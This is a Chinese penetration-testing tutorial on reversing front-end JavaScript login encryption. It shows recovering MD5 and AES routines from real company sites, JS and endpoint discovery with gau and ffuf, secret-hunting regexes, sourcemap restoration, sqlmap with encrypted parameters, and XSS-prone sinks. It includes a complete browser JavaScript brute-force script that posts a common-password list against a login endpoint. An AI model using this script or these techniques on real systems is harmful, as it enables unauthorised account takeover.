渗透很多进去点都在登录处
随着安全的不断推进,前端加密这些选项应对不得不学习
要点
- JS信息收集:URL/API/密码/业务逻辑
- JS加密 : RAS/签名校验
- JS混淆/反混淆 字符串混淆/eval混淆/函数数组对象混淆/OB混淆
chrome debug一些技巧
搜索功能(ctrl+shift+f)(ctrl+f)
搜索文件(ctrl+o)
显示文件成员函数(ctrl+shift+o)
编写js代码
格式化
断点调试
在行数点击一下可以下一个断点
给 DOM 元素设置断点
设置好断点后,当 DOM 元素要被修改时,代码就会在自动停留在修改处。
- (等号)pause script execution
–>暂停脚本执行 -> 常用在一个方法调用多个js文件时,涉及到的js代码比较长,则会使用到这个按钮(相当于从一个断点调到下一个断点)- (半弧箭头)step 快捷键:F9
–>单步执行 注意:遇到子函数会进去继续单步执行-> 每点击它一次,js语句就会往后执行一句- (下箭头)step into 快捷键:F11 全称:step into next function call
–>单步执行,遇到子函数就进去继续单步执行- (上箭头)step over 快捷键:F10 全称:step over next function call
–>单步执行,遇到子函数并不进去,将子函数执行完并将其作为一个单步- (右箭头)step out 快捷键:Shift + F11 全称:step out of current function
–>直接跳出当前的函数,返回父级函数- (右粗箭头,点击一下多一个斜线,再次点击就取消了)deactivate breakpoints or activate breakpoints
–>禁用断点/启用断点- (圆形等号)pause on execution
–>暂停执行
XHR(XMLHttpRequest)断点
通过监听 xhr 的断点,可以轻而易举的找到事件的触发点和调用堆栈
通过数据包发现加密和请求路径
他会拦截包含这个路径的时候的包
在发包的时候停止下来
然后通过堆栈信息找到加密的参数
监视器
监控执行当前断点所在作用域任何表达式的执行结果
调用栈
表示这个函数的调用堆栈,也就是 setState 是被哪个上层函数调用的,上层函数又是谁调用的...
流量清楚
排除干扰流量
汽车之家演示
发现密码被加密了
我们全局搜索一下pwd关键字,发现应是经过md5加密过得
打上断点准备进行调试
看到自己的明文密码
在控制台运行一下
至此找到加密的函数
随后我们进入hex_md5,这个加密密码的函数
把hex_md5复制到运行js的地方,不断找到没有被定义的函数,然后复制过来
如果发现都在一个JS文件中,猜测这个JS文件是加密文件可以整个复制
最终只把加密逻辑部分弄过来就好
寻找JS接口
我们可以ctrl+shift+F进行全局搜索path等关键字
当发现JS压缩混乱的时候,可以点击下方花括号,就能格式化JS代码
或者也可以使用Quick source viewer(chrome插件)
JSfinder(py/油猴) -----JSFinderAAA/leakfinder/JSINFO-SCAN/JSFinderPlus/Tampermonkey-js (改动版)
findsomething(chrome插件)
linkfinder(py)
gau
burpjsLinkFinder/JSFinderForBurp(burp插件)
gau paypalobjects.com |grep -iE '\.js'|grep -ivE '\.json'|sort -u >> paypalJS.txt
gau paypal.com |grep -iE '\.js'|grep -ivE '\.json'|sort -u >> paypalJS.txt
JS FUZZ
上方的方法基本属于基于爬虫的操作,其实也可以通过爆破来确定网站具有的JS文件
毕竟fuzz出奇迹
https://github.com/ffuf/ffuf
https://wordlists.assetnote.io/
我们可以通过观察来寻找js所要爆破的路径
- 特性
输入https://x.x.x.x/js,当目录存在的时候会自动在后面添加上/,例如浏览器访问/js,将会变成/js/来访问
可以根据此特性进行爆破
存在403,不存在404
- 目录爆破工具
也是利用扫描工具探测存在的目录
可以进行递归爆破,比如探测存在routes,再接下存在admin目录
原理和上面差不多,比如dirsearch就会提醒
- 已知存在的目录
比如https://x.x.x.x/adminjs/login.js,我们便可尝试在adminjs下进行爆破
.\ffuf -mc 200 -u http://218.193.160.93:3000/js/FUZZ -w .\js.txt
##无论输入什么都返回相同内容,可以用-fs排除掉指定的体积大小来进行绕过
.\ffuf -mc 200 -u http://218.193.160.93:3000/js/FUZZ -w .\js.txt -fs 625
burp js获取
保存,然后利用linkfinder获取
JS关键字提取
https://github.com/m4ll0k/SecretFinder
https://github.com/m4ll0k/BBTz/blob/master/antiburl.py
https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/collector.py
https://github.com/m4ll0k/BBTz/blob/master/getjswords.py
js存活
github.com/hakluke/hakcheckurl
url: , POST , api , GET , setRequestHeader , send(
(注意:只有⼀个 (,因为它在发出 Ajax 请求时使⽤!)
.headers , onreadystatechange , var {xyz} =
getParameter() , parameter , .theirdomain.com, apiKey
postMessage , messageListenger , .innerHTML , document.write(
document.cookie , location.href , redirectUrl , window.hash
cat js_files_url_list.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t
Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk
敏感信息
例如密码、API 密钥等硬编码。从 JS 代码中找到 这些信息。
AWS 密钥正则表达式可能如下所示:
(?i)aws(.{0,20})?(?-i)['\”][0–9a-zA-Z\/+]{40}['\”]
这里可以使用Burp的HaE插件
更多可以参考:
https://github.com/l4yton/RegHex
https://github.com/securing/DumpsterDiver
https://github.com/auth0/repo-supervisor
https://github.com/trufflesecurity/truffleHog
https://hackerone.com/reports/991718
https://hackerone.com/reports/983331
https://hackerone.com/reports/638635
JS代码美好
JS反混淆
https://lelinhtinh.github.io/de4js/
大多数类型的混淆都可以解决;
JS.map文件
是以js.map为后缀的⽂件,这是jQuery中的⼀个新功能,⽀持Source Map, 非常多Webpack打包的站点都会存在js.map⽂件.通过还原前端代码找到API,间接性获取未授权访问漏洞, 简单说,Source map就是⼀个信息文件,里面储存着位置信息。转换后的代码的每⼀个位置,所对应的 转换前的位置。 有了它,出错的时候,出错⼯具将直接显示原始代码,而不是转换后的代码,这给开发者带来了方便。
相关的处理⼯具有:(可以使用它们将代码还原)
https://www.npmjs.com/package/restore-source-tree
https://github.com/paazmaya/shuji
https://www.npmjs.com/package/reverse-sourcemap
https://github.com/rarecoil/unwebpack-sourcemap
chrome插件
https://github.com/SunHuawei/SourceDetector
开发人员注释
推荐一个chrome插件ScanAnnotation
burp js爆破
还是以演示的汽车之家为例
在console中批量将密码加密
将其全选并复制出来
或者用其他的代码方式进行保存
将密码写入js中
放到浏览器中运行
保存出来,进行正则提取
便可用此文件去进行爆破,如果成功可对比明文得到答案
这样的好处是,我们在浏览器中进行加密,速度快而且更加方便,不需要所有加密代码都要扣下来
参数获取
https://github.com/Elsfa7-110/GoldenNuggets-1
https://github.com/gh0stkey/CaA
burp 加密sql注入
如果我们想到加密的参数的网站进行sqlmap的使用因为怎么办
- tamper脚本中使用js2py/execjs这些库进行编写利用
- burp jsEncrypter插件配合使用
- mitmproxy等配置代理给sqlmap,并自动化将参数加密转发到服务器,让sqlmap正常工作
这时候我们就需要全部的加密逻辑
成功将明文加密成功
浏览器js爆破
优势
- js 加密,再通过js 解密省去了分析加密过程
- 异步速度很快
- 无需部署其它环境,一个浏览器就够了
如网站没引用jquery,须引用外部jquery
示例代码
// http://192.168.1.9:8000/home/Account/LogOn
// 定义用户名部分
var uids = ["admin","2311","7245","2627","7243","6100","2970","6939","6549","6696","8006","6733","8224","8007","6132"]
// var uids=["admin"]
//定义密码列表
var pass = ["!QAZ6yhn","000000","000000000","0000000000","0000000000000000","0123456789","110120119","111111","111111111","1111111111","1111111111111111","123.mima","123123","123123123","1233211234567","1234.com","1234554321","123456","123456.","123456..","123456789","123456789.","123456789..","1234567890","12345678900","1234567891","12345678910","1234567891234567","1234567899","123456789a","123456789abc","123456789q","123456789qq","123456a","123456aa","123456abc","123456asd","123456q","123456qq","123698745","123abc","1314520520","135792468","1357924680","147258369","1472583690","1qaz!QAZ2wsx@WSX","1qaz#EDC5tgb","1qaz2wsx!QAZ@WSX","1qaz@WSX","1qaz@WSX3edc","1qaz@wsx","2wsx#EDC","3edc$RFV","5201314","5201314520","52013145201314","5841314520","5tgb^YHN","6yhn&UJM","741852963","7708801314520","789456123","7894561230","987654321","9876543210","AAA111...","Aa111111","Abc@1234","Abcd1234","Hello01!","Hema1111","MIMA.123","Qwe123!@#","Welcome123","Welcome1234","a123123","a123456","a12345678","a123456789","a5201314","aa123456","aa123456789","aaa123456","abc123","abc123456","abc123456789","abcd123","abcd1234","abcd123456","aini1314","as123456","asd123","asd123456","asdASD123!@#","asdfghjkl","caonima","fir2k7st","mima..123","mima.123","mima.1234","mima.321","mima.456","mima123.","nopass.1","nopass.2","password1!","q123456","q123456789","qaz123456","qazwsxedc","qazxsw.123","qq123456","qq123456789","qq5201314","qwe123","qwe123456","qwe567,.","qwerty","qwertyuiop","w123456","w123456789","wang123456","woaini","woaini123","woaini1314","woaini1314520","woaini520","woaini521","www123456","z123456","z123456789","zxc123","zxc123.0","zxc123456","zxcvbnm","zxcvbnm123"]
var count = uids.length * pass.length
console.info("[i]INFO: 一共需要请求:"+count+"次\n")
//定义登录接口
var url = "http://192.168.1.9:8000/home/account/LogOn"
//请求主体,及表单部分
function p(url,uid,pass){
// js密码加密部分
enpass = do_encrypt_slim(getmd5str(pass))
$.ajax({
url : url,
type : "POST",
async : false,
data : {
usercode:uid,
password:enpass,
phonecheckword:null
},
success : function(data){
if(data.flag != false){
console.log("%c[+] login successful!\n"+"Loginid:"+uid+"\tpassword:"+pass+"\tusername:\t"+data.username+"\n","color: green")
}else{
console.warn("[-] Login failed !\t当前尝试用户:"+ uid +"\t信息:"+data.msg+"\n")
}
},
timeout: 1000 //防止卡死
});
}
for (uint =0; uint<=uids.length-1;uint++){
for (i = 0; i<=pass.length-1;i++){
p(url,uids[uint],pass[i]);
}
}
JS敏感函数
将字符串当做代码去执行的三个函数
eval("alert(1)")
setTimeout("alert(1)",1000)
Function("alert(1)")()
- innerHTML 函数
如果没有进行适当的处理,可能出现XSS,即使经过了处理,试着看能不能绕过;
React中就有⼀个和innerHTML差不多的函数叫做dangerouslytSetInnerHTML,这个函数也是重
点关注对象;
还有Angular中的bypassSecurityTrustX,还有熟悉的eval函数; - Postmessage 函数
最好先去看看它的官方文档: https://developer.mozilla.org/enUS/docs/Web/API/Window/postMessage ,
⼀旦了解了与 postMessage 相关的可能的安全问题,就可以在 JavaScript ⽂件中查找实现。在消息发
送⽅,寻找window.postMessage并在接收⽅寻找监听器window.addEventListener。
相关资料可以查看下⾯两个链接:
https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it62a5e02100dc - String.prototype.search() .
⼀些开发⼈员使⽤它来查找⼀个字符串在另⼀个字符串中的出现。然⽽, ”.” 在此函数中被视为通配
符。
具体可以看下⾯这个报告:
https://hackerone.com/reports/129873 - location 相关的⼏个函数
location: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2015-099935
location.href: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2014-062771
location.pathname: http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2012-013059 - document.cookie
这个函数也⽐较重要,具体不展开了,可以去看看filedescriptor 的⼀篇报告:
https://hackerone.com/reports/422043 - window.name
可以具体看看下⾯链接:
https://xz.aliyun.com/t/6019
https://blog.appsecco.com/automating-discovery-and-exploiting-dom-client-xss-vulnerabilitiesusing-sboxr-part-3-2ea910dfb429 - localStorage 以及 sessionStorage
https://infosecwriteups.com/stored-xss-to-organisation-takeover-6eaaa2fdcd5b
https://hackerone.com/reports/297968
从JS 代码中查找过时的依赖项。⼀个字,⼲就完了,可以直接使⽤ retire.js 来扫描漏洞。可以在以下链
接中找到该项⽬:
https://retirejs.github.io/retire.js/
JS中的可注册域名
如果开发者把本来的域名googleapis.com写成了gooogleapis.com,而gooogleapis.com刚好可以被注册,便可以在网页中引入你可控的JS
中国电信演示
找到第一次加密的密码的位置
发现在同意协议的时候
密码已经被加密发送了
搜索一下路径关键字
发现到此的时候已经进行加密了
查看调用ValidatePwd的地方,觉得val是密码,所以监控一下val的值
发现确实是输入的密码123456
点进去发现加密函数,已经发现是AES加密了
所以我们要知道加密模式和填充方式以及key,编码,iv向量
这里key值是c,iv向量是d
这里我们直接提取加密函数在浏览器中运行
发现以及和加密密码一致
这里我们直接将c的值输出一下
补充完依赖以后可以直接在js文件运行了
提取单独js文件后
也可以在burp中进行加密
JS hook
安装依赖
开启我们的代理
并安装我们的证书
随后启动代理服务
这样我们就可以搜索出现其值得位置
不过我搜索密码没有成功,不知道问题出在哪里
看别人有成功过的